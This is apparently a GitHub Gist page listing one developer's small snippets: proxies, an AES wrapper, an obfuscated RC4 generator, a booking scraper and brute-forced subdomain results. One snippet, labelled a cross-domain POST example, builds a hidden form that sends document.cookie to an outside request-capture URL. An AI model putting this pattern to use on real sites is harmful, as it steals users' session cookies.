Skip to content

Instantly share code, notes, and snippets.

@zhuzhuor
zhuzhuor / blog.md
Last active December 18, 2015 14:09
[jist-blog] Yet another jist-blog post

Have you eaten yet? 你吃了没?

@zhuzhuor
zhuzhuor / background.js
Last active December 17, 2015 18:39
XMLHttpRequest in Chrome doesn't handle cross-domain redirect properly
var xip_url = 'http://127.0.0.1.xip.io:5000/api';
chrome.webRequest.onBeforeRequest.addListener(
function(info) {
console.log(info.url + ' is redirected to ' + xip_url);
return {redirectUrl: xip_url};
}, {
urls: [
'http://127.0.0.1:5000/notexist',
'http://127.0.0.1.xip.io:5000/notexist'
@zhuzhuor
zhuzhuor / aes.py
Created January 23, 2013 01:40
my wrapper for the AES implementation in PyCrypto
#!/usr/bin/env python
# to get the same interfaces as https://github.com/bozhu/AES-Python
from Crypto.Cipher import AES as _AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
class AES:
def __init__(self, master_key, block_size=128):
@zhuzhuor
zhuzhuor / tiny_http_proxy.js
Created December 19, 2012 06:51
a tiny piece of nodejs code for a functional http proxy server
var http = require('http');
var url = require('url');
http.createServer(function(client_request, client_response) {
var parsed_url = url.parse(client_request.url);
var proxy_request = http.request({
host: parsed_url.host,
path: parsed_url.path,
method: client_request.method,
headers: client_request.headers
}, function(proxy_response) {
@zhuzhuor
zhuzhuor / kengdie.js
Created October 26, 2012 05:00
坑爹的js
// a reminder for myself
var key = 'aaa';
var val = 'bbb';
var obj = {key: val};
console.log(obj);
// you will get {'key': 'bbb'}
@zhuzhuor
zhuzhuor / search_g2.py
Last active October 11, 2015 19:18
search earlier date for g2 test
#!/usr/bin/env python
# this script doesn't work anymore due to changes/upgrades of the exam booking website
# driver license number
DLNumberA = "S1111"
DLNumberB = "22222"
DLNumberC = "33333"
# post code
@zhuzhuor
zhuzhuor / gist:3902693
Created October 16, 2012 23:17
cross domain post example
var ifr = document.createElement('iframe');
var frm = document.createElement('form');
frm.setAttribute("action", "http://requestb.in/xxx");
frm.setAttribute("method", "post");
var inp = document.createElement('input');
inp.type = 'hidden';
inp.name = 'cookies';
inp.value = document.cookie;
@zhuzhuor
zhuzhuor / rc4.py
Created July 17, 2012 23:34
An obfuscated RC4 keystream generator, made for AppFog OpenStack Birthday Contest
#!/usr/bin/env python
__copyright__ = "Copyright (C) 2012 Bo Zhu http://zhuzhu.org"
def ARC4(OOO4):
"""A fully functional RC4 keystream generator"""
O400,O4O0,O40O,O4OO=range(0400),0000,0000,0000
for OO04 in range(0400):O4O0=(O4O0+O400[OO04]+OOO4[OO04%len(OOO4)])%0400;O400[O4O0],O400[OO04]=O400[OO04],O400[O4O0]
while-1:O40O=(O40O+0001)%0400;O4OO=(O4OO+O400[O40O])%0400;O400[O40O],O400[O4OO]=O400[O4OO],O400[O40O];yield O400[(O400[O40O]+O400[O4OO])%0400]
@zhuzhuor
zhuzhuor / wsgi_proxy.py
Created June 17, 2012 06:01
A (Lame) Python WSGI HTTP Proxy based on Tornado
#!/usr/bin/env python
'''
A blocking HTTP proxy based on non-blocking Tornado...
-- for the sake of WSGI compatibility --
also without HTTPS support...
'''
from tornado import web, wsgi, httpclient, escape
@zhuzhuor
zhuzhuor / results.txt
Created May 29, 2012 01:43
For brute-force searching sogou sub-domains
['h0.cmc.bj.ie.sogou.com',
'h0.cnc.bj.ie.sogou.com',
'h0.crc.bj.ie.sogou.com',
'h0.ctc.bj.ie.sogou.com',
'h0.dxt.bj.ie.sogou.com',
'h0.edu.bj.ie.sogou.com']